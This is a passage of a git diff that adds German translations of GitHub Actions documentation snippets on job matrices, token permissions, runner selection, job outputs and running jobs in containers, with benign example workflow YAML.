+Wenn du keine Matrixvariablen angibst, werden alle Konfigurationen unter `include` ausgeführt. Der folgende Workflow würde beispielsweise zwei Aufträge ausführen, einen für jeden `include`-Eintrag. Auf diese Weise kannst du die Matrixstrategie nutzen, ohne eine vollständig ausgefüllte Matrix zu haben.
+
+```yaml
+jobs:
+  includes_only:
+    runs-on: ubuntu-latest
+    strategy:
+      matrix:
+        include:
+          - site: "production"
+            datacenter: "site-a"
+          - site: "staging"
+            datacenter: "site-b"
+
+```
diff --git a/translations/de-DE/data/reusables/actions/jobs/matrix-exclude.md b/translations/de-DE/data/reusables/actions/jobs/matrix-exclude.md
new file mode 100644
index 0000000000..081fe6ced5
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/jobs/matrix-exclude.md
@@ -0,0 +1,30 @@
+---
+ms.openlocfilehash: a38aec9a1becf4c15877b2d3057d413b6d609f6c
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "147880188"
+---
+Um bestimmte Konfigurationen zu entfernen, die in der Matrix definiert sind, verwende `jobs.<job_id>.strategy.matrix.exclude`. Eine ausgeschlossene Konfiguration muss nur eine teilweise Übereinstimmung sein, damit sie ausgeschlossen werden kann. Der folgende Workflow führt z. B. neun Aufträge aus: ein Auftrag für jede der 12 Konfigurationen, minus der ausgeschlossenen Aufgabe, die mit `{os: macos-latest, version: 12, environment: production}` übereinstimmt, und die beiden ausgeschlossenen Aufträge, die mit `{os: windows-latest, version: 16}` übereinstimmen.
+
+```yaml
+strategy:
+  matrix:
+    os: [macos-latest, windows-latest]
+    version: [12, 14, 16]
+    environment: [staging, production]
+    exclude:
+      - os: macos-latest
+        version: 12
+        environment: production
+      - os: windows-latest
+        version: 16
+runs-on: {% raw %}${{ matrix.os }}{% endraw %}
+```
+
+{% note %}
+
+**Hinweis:** Alle `include`-Kombinationen werden nach `exclude` verarbeitet. So kannst du mit `include` wieder Kombinationen hinzufügen, die zuvor ausgeschlossen waren.
+
+{% endnote %}
diff --git a/translations/de-DE/data/reusables/actions/jobs/matrix-expand-with-include.md b/translations/de-DE/data/reusables/actions/jobs/matrix-expand-with-include.md
new file mode 100644
index 0000000000..20cdd05678
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/jobs/matrix-expand-with-include.md
@@ -0,0 +1,30 @@
+---
+ms.openlocfilehash: c999fec9a5ab78a42f78c5d7312f54a62b81cbef
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "147883084"
+---
+Beispielsweise führt der folgende Workflow sechs Aufträge aus, einen für jede Kombination von `os` und `node`. Wenn der Auftrag für den `os`-Wert von `windows-latest` und den `node`-Wert von `16` ausgeführt wird, wird eine zusätzliche Variable namens `npm` mit dem Wert `6` in den Auftrag einbezogen.
+
+```yaml
+jobs:
+  example_matrix:
+    strategy:
+      matrix:
+        os: [windows-latest, ubuntu-latest]
+        node: [12, 14, 16]
+        include:
+          - os: windows-latest
+            node: 16
+            npm: 6
+    runs-on: {% raw %}${{ matrix.os }}{% endraw %}
+    steps:
+      - uses: {% data reusables.actions.action-setup-node %}
+        with:
+          node-version: {% raw %}${{ matrix.node }}{% endraw %}
+      - if: {% raw %}${{ matrix.npm }}{% endraw %}
+        run: npm install -g npm@{% raw %}${{ matrix.npm }}{% endraw %}
+      - run: npm --version
+```
diff --git a/translations/de-DE/data/reusables/actions/jobs/matrix-from-context.md b/translations/de-DE/data/reusables/actions/jobs/matrix-from-context.md
new file mode 100644
index 0000000000..131e9d79b8
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/jobs/matrix-from-context.md
@@ -0,0 +1,38 @@
+---
+ms.openlocfilehash: 9a9d2b4deb488e7b8fa5f0df2377e7d5ca57d194
+ms.sourcegitcommit: 5f9527483381cfb1e41f2322f67c80554750a47d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "147884437"
+---
+Du kannst Kontexte verwenden, um Matrizen zu erstellen. Weitere Informationen zu Kontexten findest du unter [Kontexte](/actions/learn-github-actions/contexts).
+
+Beispielsweise wird der folgende Workflow für das `repository_dispatch`-Ereignis ausgelöst und verwendet Informationen aus der Ereignisnutzlast, um die Matrix zu erstellen. Wenn ein Repositorydispatchereignis mit einer Nutzlast wie der folgenden erstellt wird, hat die Matrixvariable `version` einen Wert von `[12, 14, 16]`. Weitere Informationen zum `repository_dispatch`-Trigger findest du unter [Ereignisse, die Workflows auslösen](/actions/using-workflows/events-that-trigger-workflows#repository_dispatch).
+
+```json
+{
+  "event_type": "test",
+  "client_payload": {
+    "versions": [12, 14, 16]
+  }
+}
+```
+
+```yaml
+on:
+  repository_dispatch:
+    types:
+      - test
+ 
+jobs:
+  example_matrix:
+    runs-on: ubuntu-latest
+    strategy:
+      matrix:
+        version: {% raw %}${{ github.event.client_payload.versions }}{% endraw %}
+    steps:
+      - uses: {% data reusables.actions.action-setup-node %}
+        with:
+          node-version: {% raw %}${{ matrix.version }}{% endraw %}
+```
diff --git a/translations/de-DE/data/reusables/actions/jobs/matrix-include.md b/translations/de-DE/data/reusables/actions/jobs/matrix-include.md
new file mode 100644
index 0000000000..c554afb77f
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/jobs/matrix-include.md
@@ -0,0 +1,46 @@
+---
+ms.openlocfilehash: 58fe7bc6f3568b066453ea1e2fa5b6defc7c5048
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145068229"
+---
+Verwende `jobs.<job_id>.strategy.matrix.include`, um vorhandene Matrixkonfigurationen zu erweitern oder neue Konfigurationen hinzuzufügen. Der Wert von `include` ist eine Liste von Objekten.
+
+Die Schlüssel-Wert-Paare im Objekt werden für jedes Objekt in der `include`-Liste zu jeder der Matrixkombinationen hinzugefügt, wenn keines der Schlüssel-Wert-Paare einen der ursprünglichen Matrixwerte überschreibt. Wenn das Objekt zu keiner der Matrixkombinationen hinzugefügt werden kann, wird stattdessen eine neue Matrixkombination erstellt. Beachte, dass die ursprünglichen Matrixwerte nicht überschrieben werden, hinzugefügte Matrixwerte jedoch überschrieben werden können.
+
+Diese Matrix ergibt sechs Aufträge mit den folgenden Matrixkombinationen:
+
+```yaml
+strategy:
+  matrix:
+    fruit: [apple, pear]
+    animal: [cat, dog]
+    include:
+      - color: green
+      - color: pink
+        animal: cat
+      - fruit: apple
+        shape: circle
+      - fruit: banana
+      - fruit: banana
+        animal: cat
+```
+
+führt zu sechs Aufträgen mit den folgenden Matrixkombinationen:
+
+- `{fruit: apple, animal: cat, color: pink, shape: circle}`
+- `{fruit: apple, animal: dog, color: green, shape: circle}`
+- `{fruit: pear, animal: cat, color: pink}`
+- `{fruit: pear, animal: dog, color: green}`
+- `{fruit: banana}`
+- `{fruit: banana, animal: cat}`
+
+Sie befolgen diese Logik:
+
+- `{color: green}` wird allen ursprünglichen Matrixkombinationen hinzugefügt, da sie hinzugefügt werden kann, ohne einen Teil der ursprünglichen Kombinationen zu überschreiben.
+- `{color: pink, animal: cat}` fügt `color:pink` nur den ursprünglichen Matrixkombinationen hinzu, die `animal: cat` enthalten. Dadurch wird die `color: green` überschrieben, die zuvor durch den vorherigen `include`-Eintrag hinzugefügt wurde.
+- `{fruit: apple, shape: circle}` fügt `shape: circle` nur den ursprünglichen Matrixkombinationen hinzu, die `fruit: apple` enthalten.
+- `{fruit: banana}` kann zu keiner ursprünglichen Matrixkombination hinzugefügt werden, ohne dass dabei ein Wert überschrieben wird. Daher wird sie als zusätzliche Matrixkombination hinzugefügt.
+- `{fruit: banana, animal: cat}` kann zu keiner ursprünglichen Matrixkombination hinzugefügt werden, ohne dass dabei ein Wert überschrieben wird. Daher wird sie als zusätzliche Matrixkombination hinzugefügt. Die `{fruit: banana}`-Matrixkombination wird nicht hinzugefügt, da die Kombination keine der ursprünglichen Matrixkombinationen war.
diff --git a/translations/de-DE/data/reusables/actions/jobs/multi-dimension-matrix.md b/translations/de-DE/data/reusables/actions/jobs/multi-dimension-matrix.md
new file mode 100644
index 0000000000..e5567ed77c
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/jobs/multi-dimension-matrix.md
@@ -0,0 +1,30 @@
+---
+ms.openlocfilehash: 9a29d1039a0929c7366eeb4624e1fb6fb8a2e4f9
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "147529336"
+---
+Du kannst mehrere Variablen angeben, um eine mehrdimensionale Matrix zu erstellen. Für jede mögliche Kombination der Variablen wird ein Auftrag ausgeführt.
+
+Der folgende Workflow gibt beispielsweise zwei Variablen an:
+
+- Zwei Betriebssysteme, die in der Variable `os` angegeben sind
+- Drei Node.js-Versionen, die in der Variable `version` angegeben sind
+
+Der Workflow führt sechs Aufträge aus, einen für jede Kombination der Variablen `os` und `version`. Jeder Auftrag legt den Wert `runs-on` auf den aktuellen Wert `os` fest und übergibt den aktuellen Wert `version` an die Aktion `actions/setup-node`.
+
+```yaml
+jobs:
+  example_matrix:
+    strategy:
+      matrix:
+        os: [ubuntu-22.04, ubuntu-20.04]
+        version: [10, 12, 14]
+    runs-on: {% raw %}${{ matrix.os }}{% endraw %}
+    steps:
+      - uses: {% data reusables.actions.action-setup-node %}
+        with:
+          node-version: {% raw %}${{ matrix.version }}{% endraw %}
+```
diff --git a/translations/de-DE/data/reusables/actions/jobs/section-assigning-permissions-to-jobs-specific.md b/translations/de-DE/data/reusables/actions/jobs/section-assigning-permissions-to-jobs-specific.md
new file mode 100644
index 0000000000..81c3db2443
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/jobs/section-assigning-permissions-to-jobs-specific.md
@@ -0,0 +1,30 @@
+---
+ms.openlocfilehash: 7013bd204f8af1a27bbba837fda49eb7fbfe779b
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145089500"
+---
+Du kannst für einen spezifischen Auftrag `jobs.<job_id>.permissions` verwenden, um die Standardberechtigungen zu ändern, die dem`GITHUB_TOKEN` gewährt werden, und können so den Zugriff nach Bedarf hinzufügen oder entfernen, um nur den erforderlich Mindestzugriff zu gewähren. Weitere Informationen findest du unter [Authentifizierung in einem Workflow](/actions/reference/authentication-in-a-workflow#permissions-for-the-github_token).
+
+Wenn du die Berechtigung in einer Auftragsdefinition angibst, kannst du bei Bedarf einen anderen Satz von Berechtigungen für die `GITHUB_TOKEN` für jeden Auftrag konfigurieren. Alternativ kannst du die Berechtigungen für alle Aufträge im Workflow angeben. Informationen zum Definieren von Berechtigungen auf Workflow-Ebene findest du unter [`permissions`](/actions/using-workflows/workflow-syntax-for-github-actions#permissions).
+
+{% data reusables.actions.github-token-available-permissions %} {% data reusables.actions.forked-write-permission %}
+
+#### Beispiel: Festlegen von Berechtigungen für einen bestimmten Auftrag
+
+In diesem Beispiel werden Berechtigungen angezeigt, die für den `GITHUB_TOKEN` eingestellt werden, der nur für den Auftrag namens `stale` angewendet werden. Der Schreibzugriff wird für die `issues`- und `pull-requests`-Bereiche gewährt. Alle anderen Bereiche haben keinen Zugriff.
+
+```yaml
+jobs:
+  stale:
+    runs-on: ubuntu-latest
+
+    permissions:
+      issues: write
+      pull-requests: write
+
+    steps:
+      - uses: {% data reusables.actions.action-stale %}
+```
diff --git a/translations/de-DE/data/reusables/actions/jobs/section-assigning-permissions-to-jobs.md b/translations/de-DE/data/reusables/actions/jobs/section-assigning-permissions-to-jobs.md
new file mode 100644
index 0000000000..2f2e3a989a
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/jobs/section-assigning-permissions-to-jobs.md
@@ -0,0 +1,28 @@
+---
+ms.openlocfilehash: 92ca4fc15d763b82d057c350d787ff97522a2768
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145068214"
+---
+Du kannst `permissions` verwenden, um die Standardberechtigungen zu ändern, die dem GitHub-Token (`GITHUB_TOKEN`) gewährt werden. So kannst du Zugriff nach Bedarf hinzufügen oder entfernen, um nur den mindestens erforderlichen Zugriff zu gewähren. Weitere Informationen findest du unter [Authentifizierung in einem Workflow](/actions/reference/authentication-in-a-workflow#permissions-for-the-github_token).
+
+`permissions` kann entweder als Schlüssel auf oberster Ebene verwendet werden, um für alle Aufträge im Workflow zu gelten, oder innerhalb bestimmter Aufträge. Wenn du den Schlüssel `permissions` innerhalb eines bestimmten Auftrags hinzufügst, werden die von dir angegebenen Zugriffsrechte auf alle Aktionen und Ausführungsbefehle innerhalb dieses Auftrags angewendet, die das GitHub-Token (`GITHUB_TOKEN`) verwenden.  Weitere Informationen findest du unter [`jobs.<job_id>.permissions`](/actions/using-workflows/workflow-syntax-for-github-actions#jobsjob_idpermissions).
+
+{% data reusables.actions.github-token-available-permissions %} {% data reusables.actions.forked-write-permission %}
+
+### Beispiel: Zuweisen von Berechtigungen zu GITHUB_TOKEN
+
+In diesem Beispiel wird gezeigt, wie Berechtigungen für das GitHub-Token (`GITHUB_TOKEN`) festgelegt werden, die für alle Aufträge im Workflow gelten. Bei allen Berechtigungen handelt es sich um die Gewährung von Lesezugriff.
+
+```yaml
+name: "My workflow"
+
+on: [ push ]
+
+permissions: read-all
+
+jobs:
+  ...
+```
diff --git a/translations/de-DE/data/reusables/actions/jobs/section-choosing-the-runner-for-a-job.md b/translations/de-DE/data/reusables/actions/jobs/section-choosing-the-runner-for-a-job.md
new file mode 100644
index 0000000000..64c7d205ef
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/jobs/section-choosing-the-runner-for-a-job.md
@@ -0,0 +1,67 @@
+---
+ms.openlocfilehash: 89c3ed1592c000322cf4f0d6915e355bc81014ed
+ms.sourcegitcommit: d0cea547f6a5d991a28c310257cafd616235889f
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 11/01/2022
+ms.locfileid: "148120927"
+---
+Verwende `jobs.<job_id>.runs-on` zum Definieren des Computertyps, auf dem der Auftrag ausgeführt werden soll. 
+
+{% ifversion fpt or ghec %}: Der Zielcomputer kann ein [auf {% data variables.product.prodname_dotcom %} gehosteter Runner](#choosing-github-hosted-runners), ein [{% data variables.actions.hosted_runner %}](#choosing-runners-in-a-group) oder ein [selbstgehosteter Runner](#choosing-self-hosted-runners) sein.{% else %}
+- Der Zielcomputer kann ein [selbstgehosteter Runner](#choosing-self-hosted-runners) sein. {% endif %} {% ifversion target-runner-groups %}: Sie können Runner basierend auf den ihnen zugewiesenen Bezeichnungen oder ihrer Gruppenmitgliedschaft oder einer Kombination aus diesen als Ziel festlegen. {% else %}
+- Du kannst Runner basierend auf den ihnen zugewiesenen Bezeichnungen als Ziel festlegen. {% endif %}
+- Du kannst `runs-on` als einzelne Zeichenfolge oder als Array von Zeichenfolgen bereitstellen. 
+- Wenn du ein Array von Zeichenfolgen angibst, wird dein Workflow auf jedem Runner ausgeführt, der allen angegebenen `runs-on`-Werten entspricht. 
+- Wenn du deinen Workflow auf mehreren Computern ausführen möchtest, verwende [`jobs.<job_id>.strategy`](/actions/learn-github-actions/workflow-syntax-for-github-actions#jobsjob_idstrategy).
+
+{% ifversion fpt or ghec or ghes %} {% data reusables.actions.enterprise-github-hosted-runners %}
+
+### Auswählen von {% data variables.product.prodname_dotcom %}-gehosteten Runnern
+
+Wenn du einen {% data variables.product.prodname_dotcom %}-gehosteten Runner verwendest, läuft jeder Job in einer neuen Instanz eines von `runs-on` angegebenen Runner-Images.
+
+Verfügbare Arten von {% data variables.product.prodname_dotcom %}-gehostete Runnern sind:
+
+{% data reusables.actions.supported-github-runners %}
+
+#### Beispiel: Angeben eines Betriebssystems
+
+```yaml
+runs-on: ubuntu-latest
+```
+
+Weitere Informationen findest du unter [Informationen zu auf {% data variables.product.prodname_dotcom %} gehosteten Runnern](/actions/using-github-hosted-runners/about-github-hosted-runners).
+{% endif %}
+
+{% ifversion fpt or ghec or ghes %}
+### Auswählen von selbstgehosteten Runnern
+{% endif %}
+
+{% data reusables.actions.self-hosted-runner-labels-runs-on %}
+
+#### Beispiel: Verwenden von Bezeichnungen für die Auswahl von Runnern
+
+```yaml
+runs-on: [self-hosted, linux]
+```
+
+Weitere Informationen findest du unter [Informationen zu selbstgehosteten Runnern](/github/automating-your-workflow-with-github-actions/about-self-hosted-runners) und [Verwenden von selbstgehosteten Runnern in einem Workflow](/github/automating-your-workflow-with-github-actions/using-self-hosted-runners-in-a-workflow).
+
+{% ifversion target-runner-groups %}
+
+### Auswählen von Runnern in einer Gruppe
+
+Du kannst `runs-on` verwenden, um Runnergruppen als Ziel zu verwenden, sodass der Auftrag auf jedem Runner ausgeführt wird, der Mitglied dieser Gruppe ist. Für eine präzisere Steuerung kannst du auch Runnergruppen mit Bezeichnungen kombinieren.
+
+Runnergruppen können nur [{% data variables.actions.hosted_runner %}](/actions/using-github-hosted-runners/using-larger-runners) oder [selbstgehostete Runner](/actions/hosting-your-own-runners) als Mitglieder haben.
+
+#### Beispiel: Verwenden von Gruppen zum Steuern, wo Aufträge ausgeführt werden
+
+{% data reusables.actions.jobs.example-runs-on-groups %}
+
+#### Beispiel: Kombinieren von Gruppen und Bezeichnungen
+
+{% data reusables.actions.jobs.example-runs-on-labels-and-groups %}
+
+{% endif %}
\ No newline at end of file
diff --git a/translations/de-DE/data/reusables/actions/jobs/section-defining-outputs-for-jobs.md b/translations/de-DE/data/reusables/actions/jobs/section-defining-outputs-for-jobs.md
new file mode 100644
index 0000000000..15b3fea980
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/jobs/section-defining-outputs-for-jobs.md
@@ -0,0 +1,39 @@
+You can use `jobs.<job_id>.outputs` to create a `map` of outputs for a job. Job outputs are available to all downstream jobs that depend on this job. For more information on defining job dependencies, see [`jobs.<job_id>.needs`](/actions/using-workflows/workflow-syntax-for-github-actions#jobsjob_idneeds).
+
+{% data reusables.actions.output-limitations %}
+
+Job outputs containing expressions are evaluated on the runner at the end of each job. Outputs containing secrets are redacted on the runner and not sent to {% data variables.product.prodname_actions %}.
+
+To use job outputs in a dependent job, you can use the `needs` context. For more information, see "[Contexts](/actions/learn-github-actions/contexts#needs-context)."
+
+### Example: Defining outputs for a job
+
+{% raw %}
+```yaml
+jobs:
+  job1:
+    runs-on: ubuntu-latest
+    # Map a step output to a job output
+    outputs:
+      output1: ${{ steps.step1.outputs.test }}
+      output2: ${{ steps.step2.outputs.test }}
+    steps:
+      - id: step1{% endraw %}
+{%- ifversion actions-save-state-set-output-envs %}
+        run: echo "test=hello" >> $GITHUB_OUTPUT
+{%- else %}
+        run: echo "::set-output name=test::hello"
+{%- endif %}{% raw %}
+      - id: step2{% endraw %}
+{%- ifversion actions-save-state-set-output-envs %}
+        run: echo "test=world" >> $GITHUB_OUTPUT
+{%- else %}
+        run: echo "::set-output name=test::world"
+{%- endif %}{% raw %}
+  job2:
+    runs-on: ubuntu-latest
+    needs: job1
+    steps:
+      - run: echo ${{needs.job1.outputs.output1}} ${{needs.job1.outputs.output2}}
+```
+{% endraw %}
diff --git a/translations/de-DE/data/reusables/actions/jobs/section-running-jobs-in-a-container-credentials.md b/translations/de-DE/data/reusables/actions/jobs/section-running-jobs-in-a-container-credentials.md
new file mode 100644
index 0000000000..0a4ff60ddf
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/jobs/section-running-jobs-in-a-container-credentials.md
@@ -0,0 +1,21 @@
+---
+ms.openlocfilehash: 55bc7e2bd09fe50c60377a90473bfc36697d0ca5
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145068211"
+---
+{% data reusables.actions.registry-credentials %}
+
+#### Beispiel: Definieren der Anmeldeinformationen für eine Containerregistrierung 
+
+{% raw %}
+```yaml
+container:
+  image: ghcr.io/owner/image
+  credentials:
+     username: ${{ github.actor }}
+     password: ${{ secrets.github_token }}
+```
+{% endraw %}
diff --git a/translations/de-DE/data/reusables/actions/jobs/section-running-jobs-in-a-container-env.md b/translations/de-DE/data/reusables/actions/jobs/section-running-jobs-in-a-container-env.md
new file mode 100644
index 0000000000..43b37a0bfd
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/jobs/section-running-jobs-in-a-container-env.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 62e24e286916815e5f12a88a0203695206cbaf04
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145103720"
+---
+Verwende `jobs.<job_id>.container.env`, um eine `map` von Umgebungsvariablen im Dienstcontainer einzustellen.
diff --git a/translations/de-DE/data/reusables/actions/jobs/section-running-jobs-in-a-container-image.md b/translations/de-DE/data/reusables/actions/jobs/section-running-jobs-in-a-container-image.md
new file mode 100644
index 0000000000..aa400e1a88
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/jobs/section-running-jobs-in-a-container-image.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 5f61c31ac7c84ac8996f3ca0a8817ea7bddbee01
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145089492"
+---
+Verwende `jobs.<job_id>.container.image`, um das Docker-Image zu definieren, das beim Ausführen der Aktion als Container herangezogen wird. Der Wert kann der Name des Docker Hub-Images oder ein Registrierungsname sein.
diff --git a/translations/de-DE/data/reusables/actions/jobs/section-running-jobs-in-a-container-options.md b/translations/de-DE/data/reusables/actions/jobs/section-running-jobs-in-a-container-options.md
new file mode 100644
index 0000000000..a5a2e3490f
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/jobs/section-running-jobs-in-a-container-options.md
@@ -0,0 +1,15 @@
+---
+ms.openlocfilehash: 03e161962cf97493adfe400d3d7faba4f2f5270a
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145068208"
+---
+Verwende `jobs.<job_id>.container.options` zum Konfigurieren zusätzlicher Optionen für Docker-Containerressourcen. Eine Liste der Optionen findest du unter [`docker create`-Optionen](https://docs.docker.com/engine/reference/commandline/create/#options).
+
+{% warning %}
+
+**Warnung**: Die `--network`-Option wird nicht unterstützt.
+
+{% endwarning %}
diff --git a/translations/de-DE/data/reusables/actions/jobs/section-running-jobs-in-a-container-ports.md b/translations/de-DE/data/reusables/actions/jobs/section-running-jobs-in-a-container-ports.md
new file mode 100644
index 0000000000..8c3d0cea3e
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/jobs/section-running-jobs-in-a-container-ports.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: f3ddc5ca5a2febf8cdf671e988324be5c6a93404
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145103719"
+---
+Verwende `jobs.<job_id>.container.ports` zum Festlegen eines `array` aus Ports, die für den Container verfügbar gemacht werden sollen.
diff --git a/translations/de-DE/data/reusables/actions/jobs/section-running-jobs-in-a-container-volumes.md b/translations/de-DE/data/reusables/actions/jobs/section-running-jobs-in-a-container-volumes.md
new file mode 100644
index 0000000000..96c437c177
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/jobs/section-running-jobs-in-a-container-volumes.md
@@ -0,0 +1,24 @@
+---
+ms.openlocfilehash: 286ed6049cd19b1d7f4c5c7dfb4d737dd0f68475
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145089491"
+---
+Verwende `jobs.<job_id>.container.volumes` zum Festlegen eines `array` von Volumes, die der Container verwenden soll. Mithilfe von Volumes kannst Du Daten zwischen Diensten oder anderen Schritten in einem Job austauschen. Du kannst benannte Docker-Volumes, anonyme Docker-Volumes oder Bind-Mounts auf dem Host angegeben.
+
+Um ein Volume festzulegen, gibst du den Quell- und Zielpfad an:
+
+`<source>:<destinationPath>`.
+
+`<source>` ist ein Volumename oder ein absoluter Pfad auf dem Hostcomputer, und `<destinationPath>` ist ein absoluter Pfad im Container.
+
+#### Beispiel: Einbinden von Volumes in einem Container
+
+```yaml
+volumes:
+  - my_docker_volume:/volume_mount
+  - /data/my_data
+  - /source/directory:/destination/directory
+```
diff --git a/translations/de-DE/data/reusables/actions/jobs/section-running-jobs-in-a-container.md b/translations/de-DE/data/reusables/actions/jobs/section-running-jobs-in-a-container.md
new file mode 100644
index 0000000000..11fcf29a79
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/jobs/section-running-jobs-in-a-container.md
@@ -0,0 +1,50 @@
+---
+ms.openlocfilehash: 59a9cc8c52f8e3d28b2b392c28ef6abcb52439a9
+ms.sourcegitcommit: 478f2931167988096ae6478a257f492ecaa11794
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/09/2022
+ms.locfileid: "147718205"
+---
+Verwende `jobs.<job_id>.container`, um einen Container zu erstellen, in dem alle Schritte eines Jobs ausgeführt werden, die noch keinen Container angeben. Wenn ein Schritt sowohl Skript- als auch Container-Aktionen umfasst, werden die Container-Aktionen als nebengeordnete Container in demselben Netzwerk mit denselben Volume-Mounts ausgeführt.
+
+Wenn du keinen `container` festlegst, werden alle Schritte direkt auf dem durch `runs-on` angegebenen Host ausgeführt, es sei denn, ein Schritt bezieht sich auf eine Aktion, die für die Ausführung in einem Container konfiguriert ist.
+
+{% note %}
+
+**Hinweis:** Die Standardshell für `run`-Schritte innerhalb eines Containers lautet `sh` anstelle von `bash`. Dies kann mit [`jobs.<job_id>.defaults.run`](/actions/using-workflows/workflow-syntax-for-github-actions#jobsjob_iddefaultsrun) oder [`jobs.<job_id>.steps[*].shell`](/actions/using-workflows/workflow-syntax-for-github-actions#jobsjob_idstepsshell) überschrieben werden.
+
+{% endnote %}
+
+### Beispiel: Ausführen eines Auftrags innerhalb eines Containers
+
+```yaml{:copy}
+name: CI
+on:
+  push:
+    branches: [ main ]
+jobs:
+  container-test-job:
+    runs-on: ubuntu-latest
+    container:
+      image: node:14.16
+      env:
+        NODE_ENV: development
+      ports:
+        - 80
+      volumes:
+        - my_docker_volume:/volume_mount
+      options: --cpus 1
+    steps:
+      - name: Check for dockerenv file
+        run: (ls /.dockerenv && echo Found dockerenv) || (echo No dockerenv)
+```
+
+Wenn du nur ein Containerimage angibst, kannst du das `image`-Schlüsselwort weglassen.
+
+```yaml
+jobs:
+  container-test-job:
+    runs-on: ubuntu-latest
+    container: node:14.16
+```
diff --git a/translations/de-DE/data/reusables/actions/jobs/section-using-a-build-matrix-for-your-jobs-failfast.md b/translations/de-DE/data/reusables/actions/jobs/section-using-a-build-matrix-for-your-jobs-failfast.md
new file mode 100644
index 0000000000..fc17fcf12b
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/jobs/section-using-a-build-matrix-for-your-jobs-failfast.md
@@ -0,0 +1,31 @@
+---
+ms.openlocfilehash: 61eae3ef1bfff1fc27fcfd45a693934155021a2a
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145089483"
+---
+Du kannst steuern, wie Auftragsfehler mit `jobs.<job_id>.strategy.fail-fast` und `jobs.<job_id>.continue-on-error` verarbeitet werden.
+
+`jobs.<job_id>.strategy.fail-fast` gilt für die gesamte Matrix. Wenn `jobs.<job_id>.strategy.fail-fast` auf `true` festgelegt ist, bricht {% data variables.product.product_name %} alle in Verarbeitung oder in der Warteschlange befindlichen Aufträge in der Matrix ab, wenn bei einem Auftrag in der Matrix ein Fehler auftritt. Der Standardwert dieser Eigenschaft ist `true`.
+
+`jobs.<job_id>.continue-on-error` gilt für einen einzelnen Auftrag. Wenn `jobs.<job_id>.continue-on-error` auf `true` festgelegt ist, werden andere Aufträge in der Matrix weiterhin ausgeführt, auch wenn bei dem Auftrag mit `jobs.<job_id>.continue-on-error: true` ein Fehler auftritt.
+
+Du kannst `jobs.<job_id>.strategy.fail-fast` und `jobs.<job_id>.continue-on-error` gemeinsam einsetzen. Der folgende Workflow startet beispielsweise vier Aufträge. Für jeden Auftrag wird `continue-on-error` durch den Wert von `matrix.experimental` bestimmt. Wenn bei einem der Aufträge mit `continue-on-error: false` ein Fehler auftritt, werden alle in Verarbeitung oder in der Warteschlange befindlichen Aufträge abgebrochen. Wenn beim Auftrag mit `continue-on-error: true` ein Fehler auftritt, sind die anderen Aufträge nicht betroffen.
+
+
+```yaml
+jobs:
+  test:
+    runs-on: ubuntu-latest
+    continue-on-error: {% raw %}${{ matrix.experimental }}{% endraw %}
+    strategy:
+      fail-fast: true
+      matrix:
+        version: [6, 7, 8]
+        experimental: [false]
+        include:
+          - version: 9
